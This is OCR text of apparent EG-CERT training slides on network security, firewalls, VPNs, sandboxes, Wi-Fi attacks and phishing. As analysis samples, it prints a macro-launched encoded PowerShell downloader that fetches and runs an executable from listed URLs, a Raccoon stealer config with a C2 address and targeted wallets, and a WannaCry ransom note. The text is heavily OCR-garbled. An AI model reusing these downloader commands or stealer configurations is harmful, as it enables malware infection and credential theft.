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+ Worked as a malware researcher in Threat Analysis Department
at EG|CERT for over 3 years.

* Investigated and resolved cybersecurity incidents affecting
government entities.

* Worked in increasing the detection rate of the National Sandbox Mohannad Raafat
d Anti-mal .
and Anti-malware Malware Researcher
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« Acomputer networkis a set of endpaints sharing resources located on or provided by network nodes
Through Communication protocals such as (HITP, FIP, etc)
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Network security refersto the practices, policies, and technologies used to protect a network from
unautharized access, cyber threats, and data breaches.

* It ensuresthe Confidentiality, Integrity, and Availability of data being transmitted across networks.
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Common Types of Network Threats

Phishing Attacks Malware Attacks DDoS Attacks
Fake communications Malicious software files Flood of dummy
that can trick users published through requests sent to the
to reveal sensitive internet such as endpoint to render
information or even Ransomware, Infostealer, services unavailable.

worms perform malicious
activities.

infect their machines.
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Impact of Network Threats

% | W

Operational Disruption Reputation Damage Financial Losses
Flood of dummy
requests sent to the
endpoint to render
services unavailable.

Loss of customer trust
and brand value
following a breach.

Direct costs of
cyberattacks, including
ransom payments, recovery
costs, and lost revenue.
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To prevent these threats, we can use:
Rrewalls

« P\ (Virtual Private Networks)

+  Sandbax
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Network Security Products
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Definition:
* Anetwork device or software that is used to block certain types of network traffic.

* It actsasa barrier between a trusted network (e.g, home/office network) and an untrusted network
(eg, theinternet).

Untrusted
Traffic
I\ N

T T T - L
Internet Fir'ewall User
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Common Firewalls Types:

*  Packet Fltering (Stateless) Frewalls

«  Sateful Inspection Arewall
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Packet Filtering Firewalls (Stateless):

It basically examines individual packets based on predefined rules.
It only evaluates packets based on headers (IP, port, protocal) nat the context of network request.

¢ Pros
Fast and lightweight.
Low resource consunption.
Easy to configure with ACLs (Access Contral Lists).

¢ Cons

Does nat track connection states, making it vulnerable to spodfing attacks
Cannat differentiate between legitimate retum traffic and malicious traffic.
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Packet Filtering Firewalls (Stateless):
Packet Filter

Web Response
lllegal Dest IP Address

Web Request
Email Response .
SSH Connect Request — .
DNS Request \ veb

\

Response

/

>
> L.
lllegal Source IP Add’ess/ 4 7 o~
Email Response // A
FTP request

Microsoft NetBIOS Name Service
Email Connect Request
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It uses also AQLs to tracks active connections, but it maintains themusing a state table to monitor traffic
flow
It verifies that packets belong to an established session befare allowing themthrough

@ Pos

«  More secure than sinple packet filtering
Can detect unauthorized packets that do not match an active connection
Reduces risk of certain attacks (e.g, IP spodfing).

@ Cons

Hgher resource consunption than packet filtering firewalls
Susceptible to DDoS attacks if state tables are flooded.
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Stateful Packet
Inspection Firawall
Request a .
web page. =

1= 3

Subscriber
Device

QThis was requested by
a computer on the home
network, deliver it.

Y

e This was not requested by
a computer on the home
network, drop it
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Internet

alcatel-lucent.com

Q Here's the wab page

you asked for.

Hacker
Here's the web
file transfer you
asked for.

wl_(R3¢

18




UPNs (Virtual rrwt

gm

\1'

EGICERT



nne

s o P e
|t g o o ot et et |
Bt atatalalals |
|3 O o ot 3 32
e bl
- N
dad bl J

Traditional Connectivi

LUsen

20

EGICERT




Definition:

AVirtual Private Network (VPN encryptsintermet traffic, hiding a user’s IP address and securing data
transmissions.
¢ HwDoesa VANWork?
* Encryptsintermet traffic and routesit through a secure server.,

 Preventsthird parties (e.g, hackers, ISPs, govermment agencies) fromintercepting data.
 Ensures online privacy and protects users fromcyber threats,
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Gommon Types of UPNS

KRy

Reote A Secures intermet connectionsfor ~ Work-from-home
€ hui renmote workers enmployees
Connects mitiple business :
Ste-to-Ste VAN lacations o Large corporations
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Tunnel

Remote N Server / _
Client oI% Appliance Regional

Office
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Site-To-Site UPN:
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SITE TO SITE CONNECTION

<

SITE TO SITE CONNECTION

e e il |

SITETO SITE VPN
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Definition:

* It isa security programdesigned to detect, prevent, and remove malicious software (melware) from
conputers, networks, and ather digital devices.

0 Why is Antivirus Inportant?
Prevents virus infections that can corrupt files

« My Detect and remove ransomware before it encrypts data.
» Bocks spyware that secretly monitors user activity. Pratects sensitive data, passwords, and financial
information.
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Static Conrparing files to Satic Rules (YARA) ar a database of known

(Sgnature-Based) malware signatures such as Filés hash

Heurigtic Analysis Identifies suspicious behaviar in files and progranms to detect

(Behaviaral Analysis) variants of known melware even if the exact signature isn't
available.

A Models Trained nodels to detect behaviar anomalies.
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Definition:

 Asandbox is a software or platform designed to serve as a controlled environment (W for
executing patentially melicious files

* |t allows far secure testing and provides users with a detailed analysis report onthefile's
behavior and patential threats

EGICERT

AS




Transfers and Bxecutes @

Sandbox HleTypes
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- Sends Artifacts Sends Results
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Detection Rules Processing Modules

Sandbox
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bbea545af4d01bf5f10716618404804 080e41aa.exe

. i MDS: 84 BBCF75A61706D8A
Qoops, your files have been encrypted! = Start: 0 Total time
ransomware  stealer  qgrcode  wannacryptor  maldoc
‘What Happened to My Computer”
i Indicators: </> 4 Tracker: Ranso
are nolonger
+ Get sample

L beta J
Text report Summary
Payment will be raised on Can Recover My Files?
1/4/1970 00:00:00 Sure. We guarantee that you can
not so enough time,
Time Left Y some of your files for free, Try now by click

Processes

DMP

wannacry

attribexe +h
Your files will be lost on
1/8/1970 00:00:00 Process details ID 6320

Time Left click <How to buy bitcoir T1486 Data Encrypted for Impact (1)

And send the correct amnuntt-:th ddress specified in this wi WannaCry Ransomware is detected
Google | After your paymen cl k Payment>. Best time to chec!
9 e

Chrome

hing Attachment (1)

o T Il Send $600 worth of bitcoin to this address: Drops known malicious image
&bout b

[ 3ANVW2dhxYgX e QepoHKHS QuyNgaEbS4

T1176 Bro Extensions (1)

s
(Fhal

VLC media

Modifies files in the Chrome extension folder
RANSOMWARE has been detected

T1137 Office Application Startup (1)

Writes a file to the Word startup folder

a HTTPRequests 6 Connections DNS Requests Threats
Timeshift Headers Rep PID Process name Content Actions looks like stealing of personal data
GET | 200: 0K 2164 swchostexe = htpy/cr microsoft.com/pki/cri/products/MicRoo 2011201103 22 1Kb
! as A z T1518 Software D
GET | 200:0K € ttpy//www.microsaft com/phiops/cri/MicSe 2011-1018.cr 973b
= N Actions looks like stealing of personal data
GET | 200: 0K svchost ex ttp:/ocsp.digicert com/MFEWTZBNMESWSTAJE 471b + bi

GET | 200: 0K ttp://www.microsoft com/piops/crl/Microsoft%20ECC%20Product%20Root % 20Cer 419b WANNACRY has been detected (YARA)

GET | 200: 0K 6732 bay ttp://ocsp digicert com/MFEWTZBNMESwSTABUDGMCGgUABBQS00b%2FhOZt s " WANNACRY mutex has been found
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T1547.001 Registry Run Keys / Startup Folder (1)
WANNACRY has been detected




\{, mspaint.exe g tackdlexe
P,

FANANNACRY

’Q‘ i@wanadecrypton@. exe

taskdl.exe

FANANNACRY

@\ @wanadecryptor@ ex=

taskdl axe
?

FNANMACRY

@wanadecryplon@.=xe
g ansrmiacry
|

ﬁ‘ i@wanadecrypton@®. exe

'-:I taskdl.exe

EGICERT




P B BLD ®© Sandbox ~ B Quick Scans ~  (AFile Collections I Resources ~ @ Request Info ~ Q. 1P Domain, Hasl
ANALYSIS

RegCloseKey

Screenshots

NP A NATYETE \'QHVB‘Z”D

¥ Show more

Hybrid Analysis

| Tip: Click an analysed process below to view more
details.

Analysed 49 processes in total (System Resource Monitor).
- [ Input Sample (PID: 5056)
1] attrib.exe attrib +h . (PID: 2152) | (@ Hash Seen Before
[i]icacls.exe icacls . /grant Everyone:F /T /C /Q (PID: 5944) &, (3 Hash Seen Before
1] taskdl.exe (PID: 3180) (@ Hash Seen Before
i]cmd.exe %WINDIR%\system32\cmd.exe /c 205041728161254.bat (PID: 1572) | (@ Hash Seen Before
L [i] cscriptexe //nologo m.vbs (PID: 7596) 88 () Hash Seen Before
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Malicious Indicators

Anti-Detection/Stealthyness
Attempts to change the attributes of the files
External Systems
Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence
Installation/Persistence
Writes data to a remote process
Pattern Matching
YARA signature match
System Security
Modifies the access control lists of files

Unusual Characteristics

EG | C E RT Spawns a lot of processes ~




Network Security Tips
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strengthen Your Passwords
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TYPING 'PASSWORD' IS“"

" A PASSWORD DURING THE AUDIT.
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S IICHANGED/ALL MY.PASSWORDS TO
INCORRECT

SO IF 1 FORGET IT WILL SAY YOU
I’ASSWIIIIII IS ININCORRECT

makeameme.org
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FREE[__]BOOK

FREE =" WIFI
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'YOU/DON'T'HAVE TO/WORRY ABOUT
THE SECURITY.OFYOUR BACKUPS

-
z?t

ez IFYOU DONTHAVE BACKUPS
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Securing Wi-Fi Tips
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De-authentication Attack

Source Mac : 00:11:22:33:44:55
Destination Mac : 00:22:22:22:22:22
Message: | want to disconnect

@ . Access Point

Hacker

Mac =00:11:17:11:11:11 \ l /

Mac= 00:22:22:22:22:22

Internet

|
=

Mac= 00:11:22:33:44:55
EGICERT 41




Why | was ahle to perform
this attack ?
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« Management Frames (Not encrypted)
o Establish and maintain connections

« Control Frames
o Assist in data transmission and coordination

« Data Frames
o Carry actual user data over the network
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Wi-fi Security:

Use Srong Encryption
Enable WPAS or WPA2 encryption for your W-H network

e Set a Strong Password
Use a conrplex, unique password for your W-H network to prevent unautharized access

*  [Disable WPS (W-Fi Protected Setup)
Tum off WPSto reduce the risk of brute farce attacks.

*  Hde SID (Network Nanre)
Disable SSDbroadcast to meke your network less visible to unauthorized users

EGICERT




EGICERT




EG/CERT
BREAK

> > >




2

Hands-0n Activity: Recognizing Phishing
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True Story
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B Just now - &
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‘-’ 5l iVl Jgua> Ul is @ feeling angry.

Y im -G
G2} 2log (e yaig paickw FTL Ay (o @) 1ol
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From: Accounts <pia_cos@ | 5GTGCGNG co>
Subject: FW:Re: PAYMENT FOR INV

Date: September 28, 2022 at 10:10:32 AM GMT+2
To: I

Hello Hambola

Payment completed on behalf of my boss. Please confirm receipt .
as 1 will have to return to my boss with feedback

Thanks
Regards

Kimberly Chileno Ortiz
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MY _swift_adwvice_Fx INY _swift_advice_Fx
Z9092022000000000 289092022000000000
Q00000PDF 000000PDF.zip

X

INY swift_advice_

290920220000

00000000000PDF
EXE
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Directed by
ROBERT B. WEIDE



0O Follow~  C Reanalyze & Download v = Similar  More v

VBNVCCXMGJKGDF.exe 383.48 KB 2 years ago EXE

Community
peexe  assembly overlay signed  spreader invalid-signature

a00re

DETECTION DETAILS RELATIONS BEHAVIOR CONTENT TELEMETRY COMMUNITY /1

Comments (1) @

l VMRay
= 2yearsago

VMRay Analysis Verdict: Malicious

Threat Name: AgentTesla.v3
Classifications: Injector, Spyware
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Human is The Weakest Link

EGICERT




» Phishing is a type of cyberattack where attackers trick individuals into revealing sensitive
information such as login credentials, financial details, or personal information.
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Exploits Human Psychology
[Curiosity, Fear, Urgency).

.
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Bypasses Any Security Solutions

| W |
o* Y
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Malware Attacks Identity Theft Financial Losses
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RATS:

ARermote Access Trojan (RAT) is a type of malware that allows a hacker to gain unauthorized
renmote contral over a victinds conmuter.
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* Anlinfostealeris a type of malware designed to steal sengitive information froman infected
systemand send it to an attacker-
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Keylogging

@a%,
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Data Theft

et-‘
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Malware Infection
@ DLL
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! Wireshark - Follow HTTP Stream (tcp.stream eq 1) - raccoon.pcapng E\@

1ibs nss3:http://5.252.23.112/aN7jD8q06kT5bK5bQ4eR8FEIXP7hL2vK/nss3.d11 Download
1ibs_msvcpl40:http://5.252.23.112/aN7jDOqO6kT5bK5bQ4eR8FEIXP7hL2vK/msvepl40.d11 " Libraries
libs vcruntimel4@:http://5.252.23.112/aN7jD0q06kT5bK5bQ4eR8FE1xP7hL2vK/vcruntimel40.d11
1libs mozglue:http://5.252.23.112/aN7jD@q0ekT5bK5bQ4eR8FEIXP7hL2vK/mozglue.d11

1ibs freebl3:http://5.252.23.112/aN7]jD@q06kT5bK5bQ4eREFEIXP7hL2vK/freebl3.d11

libs softokn3:http://5.252.23.112/aN7iD0q06kT5bkK5b04eR8TEIxP7hL2vK/softokn3.d11
ews_meta e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings
ews_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;Tronlink;Local Extension Settings

libs sqlite3:http://5.252.23.112/aN7jD@q06kT5bK5bQ4eR8FEIXP7hL2vK/sqlite3.d1]
ews_bsc:fthbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Llocal Extension Settings

ews ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings

wlts exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*

wlts atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*

wlts jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*

wlts binance:Binance;26;Binance;*app-store.*;-

wlts coinomi:Coinomi;28;Coinomi\Coinomi\wallets;*;-

wlts electrum:Electrum;26;Electrum\wallets;*;-

wlts elecltciElectrum-LTC;26;Electrum-LTC\wallets;*;-

wlts elecbch:ElectronCash;26;ElectronCash\wallets;*;-

wlts guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*

wlts green:BlockstreamGreen;28;Blockstream\Green;*;cache,gdk,*1logs*

wlts ledger:ledger Live;26;ledger Live;*;*cache*,*dictionar*,*sgqlite*

ews _ronin_e:kjmoohlgokccodicjjfebfomlbljgthk;Ronin;Local Extension Settings

ews meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings .
|sstmnfo_5ystem Info.txt:System Information: i »Basic Systemlnfo i
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In the first two quarters of 2024, over 3,000 accounts fromdifferent Egyptian sectors have been leaked

Infostealers’ Families in 2024 00 tOtal No. of Leaked Accounts in 2024
Ngf,zjs Oglzrs = RedLine

= Vidar 2016

Lumma
12% \ = Raccoon 2000
® Lumma
Nexus

@
S
= Others 3 1500
Raccoon 2
9% E
< 1000
)
-
ks 589
RedLine S 500
Vidar 57% =z
12%
0
Q1 Q2
Quarters
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GCommon Types of Phishing
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Traditional Phishing

ul e& etisalat and 11:03 AM

(@

Text Message
Today 10:21 AM

ok Sy 39 (b 0 phall lgic
egyptpest.com/eg Cudodll el>p
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I SECURITY... Macros have been disabled. Enable Content

2 Microsoft Visual Basic for Applications - SOA# 1769.xlsm [break] - [ThisWorkbook (Code)] | = || @ |
i@ File Edit View Inset Format Debug Run Tools Add-Ins Window Help -7 X

iME-d » BRI P AR XFET @

iWorkbook x| |Activate jT
ActiveWorkbook.Save H

(] Office 365
bat = "Ggyztfbtsogpnruoogr.bat™

Cpen bat For Cutput As #1
Print #1, s
Close #1

¢| Iz = shell(bac, 0)

End Sub Operation did not complete successfully because the file was created on 10S device.

=E | »

Immediate

=

To view and edit document click Enable Editing and then click Enable Content.

[ lx

start /MIN C:\Windows\System32\WindowsPowerShell\vl.0\powershell.exe
-win 1 -enc JABQAHIAbWEjAE4AYQBtAGUAIAASACAAIgBXAGOAZQBhAGOAbOBUAGYAC
ABnAGEACQBZAGUALGBlAHGAZQAI ADsARABOAGUAdWATAE SAYgBqQAGUAYWBOACAAUWBSAH
MAdABIAGOALgBOAGUAMAAUAFCAZQBIAFMADABPAGUAbgBOACKALOBEAGEAdwBUAGWADWE
hAGQARGBPAGWAZQAOACIAaABOAHQACARGACEALWAZACAANGAOACS4AMgAL ADEALgAXADMA
OQAVAHYAMWwAVADIALWEBSAGUACQBIAGUACWBOAHMAMAASADUAMgAWADARMARAWADYANQAVA
C4AZQB4AGUAIgASACIAJABl AG4AdgA6AFEAUABQAEQAQQBUAEEAXAAKAFAACGEVAGMAT g
BhAGOAZQAI ACKACWBTAHQAYQBYAHQALOBQAHIAbWBJAGUACWB zACARKARI ACQAZQBUAHY
ACgBEAFAAUABEAEEAVABBAFWAJABQAHIALWE JAE4AYQBLAGUAIgADAL==

KT .
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JABQAHIAbWB jAEAAYQBTAGUATAASACAATSEXAGEAZQBhAGEADQBUAGYACABNAGEACQBZAGUALgBl1AHEAZ QAL ADSAKABOAGUAdWATAESAYEBqAGUAYWBBACA
AUWBSAHMAdABLAGBAL gBOAGUAdAAUAFCAZQBIAEMADABPAGUAbEEBACKAL sBEAGBAdWBUAGWADWBhAGQAREBPAGWAZQACACTASABBAHQACAABACSALWAZAC
AANSABACAAMEALADEAL gAXADMAOQAVAHY AMWAVADIALWESAGUACQB1AGUACWEBAHMAMAAIADUAMEAWADAAMAAWADY ANQAYACAAZQBAAGUATgASACTIATABLA
GAAdgABAEEAUABQAEQAQQBUAEEAXAAKAFAACEBVAGMATEEhAGBAZ QAL ACKAOWBTAHQAYQBYAHQALQBQAHTIAbWE JAGUACWBZ ACAAKAAIACQAZQBUAHYADSEB
AFAAUABEAE EA\-’ABBAFNA:IABQAHt[AbHBjAE4A‘(QBtAGUAIgApM= = C

Output : a I_D [

$geujduysoad="belthaud’

[Net.ServicePointManager]::"SEcurIl T ypRO™ T OCO1"™ = 'tl1s12, t1s11, tls°®

$niathriatvaol = '014°

$1luugwaomfoif="xaipvauk' Downloading another
malware on this path

$sodmeujlais=fenv:userprofile+'\"+$niathriatvaocl+’ .exe’
$faesquieskuch="vaithpioybaof"
fmaemniontaid=&("'n"+ 'ew’'+ ' -object’) neT.WeBclIenT
$fiqumog="http://givingthanksdaily.com/cgi-bin/jHU/*http://graduategames.com/Downloads/QP/*http://grooveshack.net/wp-
includes/J8k/*http://haarwelten.com/ test/zJikECHQ/*http://fourserious.com/BRAVADO 1481 1482/ /sadN3/"."SP LIt"([char]42)
$joumxeichyouchheed="neucwaifzuaf"’

Jforeach($siymaut in $fiqumog]{try{$maemniontaid. "DowN LO" A DFILe"($siymaut, $sodmeujlais)

E$nuuzkebsaud='bioptiaspieg :

If ((.('Get"+"-"+"Item') $sodmeujla “lenG  TH" -ge 37818) {([wmiclass]'win32_Process')."crEa Fe"($sodmeujlais)
$paofbirfac="liavjequnecxeik’

break

$ruuwveo]jyiqubauk="meugpiequ’ }}catch{}}$cootjias="jiojdoip’

EGICERT
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» Azero-click attack takes advantage of vulnerahilities in software to carry out an attack
without user interaction

*  Smartphones are the most conmon and widely-known target of zero-click attacks including
9MS social media apps.
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T he HaCker News = Subscribe — Get Latest News

Home Data Breaches Cyber Attacks Vulnerabilities Webinars Expert Insights Contact Q -

Meta Confirms Zero-Click WhatsApp Spyware Attack Targeting 90
Journalists, Activists
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Malicious POF WhatsApp Paragon S;-Jyv\are
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How To Protect?!
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USE MULTLFACTOR.
AUTHENTICATION

. y > -
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emedenerator.net
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